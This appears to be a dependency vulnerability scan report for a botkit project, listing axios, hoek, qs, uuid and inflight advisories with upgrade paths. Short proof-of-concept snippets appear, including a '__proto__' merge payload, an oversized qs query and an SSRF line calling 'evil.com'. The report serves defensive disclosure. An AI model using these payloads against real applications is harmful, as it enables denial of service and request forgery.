There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: hoek
  • Introduced through: twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 hawk@3.1.3 hoek@2.16.3
    Remediation: Upgrade to twilio@3.9.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 hawk@3.1.3 boom@2.10.1 hoek@2.16.3
    Remediation: Upgrade to twilio@3.9.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 hawk@3.1.3 sntp@1.0.9 hoek@2.16.3
    Remediation: Upgrade to twilio@3.9.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 hawk@3.1.3 cryptiles@2.0.5 boom@2.10.1 hoek@2.16.3
    Remediation: Upgrade to twilio@3.9.0.

Overview

hoek is an Utility methods for the hapi ecosystem.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hoek to version 4.2.1, 5.0.3 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: body-parser@1.20.6 and express@4.22.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD body-parser@1.20.6 qs@6.15.3
    Remediation: Upgrade to body-parser@2.1.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD express@4.22.2 qs@6.15.3
    Remediation: Upgrade to express@5.1.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD express@4.22.2 body-parser@1.20.6 qs@6.15.3
    Remediation: Upgrade to express@5.0.0.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the parseArrayValue() comma-parsing logic, which applies the arrayLimit and throwOnLimitExceeded checks only to flat values, so a bracket-key input such as a[]=1,2,3,4 is treated as non-flat and its comma-split inner array is wrapped after parsing without ever being length-checked. An attacker can exceed the configured array limit and force excessive memory allocation by supplying a query string or form body that uses the bracket-key comma form, for example a[]=1,2,3,.... This requires the application to parse untrusted input with the comma: true option enabled alongside a configured arrayLimit or throwOnLimitExceeded.

PoC


const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: request@2.88.2, botbuilder@3.30.0 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 uuid@3.4.0

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: ciscospark@0.7.93

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 @ciscospark/common@0.7.87 envify@3.4.1 jstransform@11.0.3 commoner@0.10.8 glob@5.0.15 inflight@1.0.6
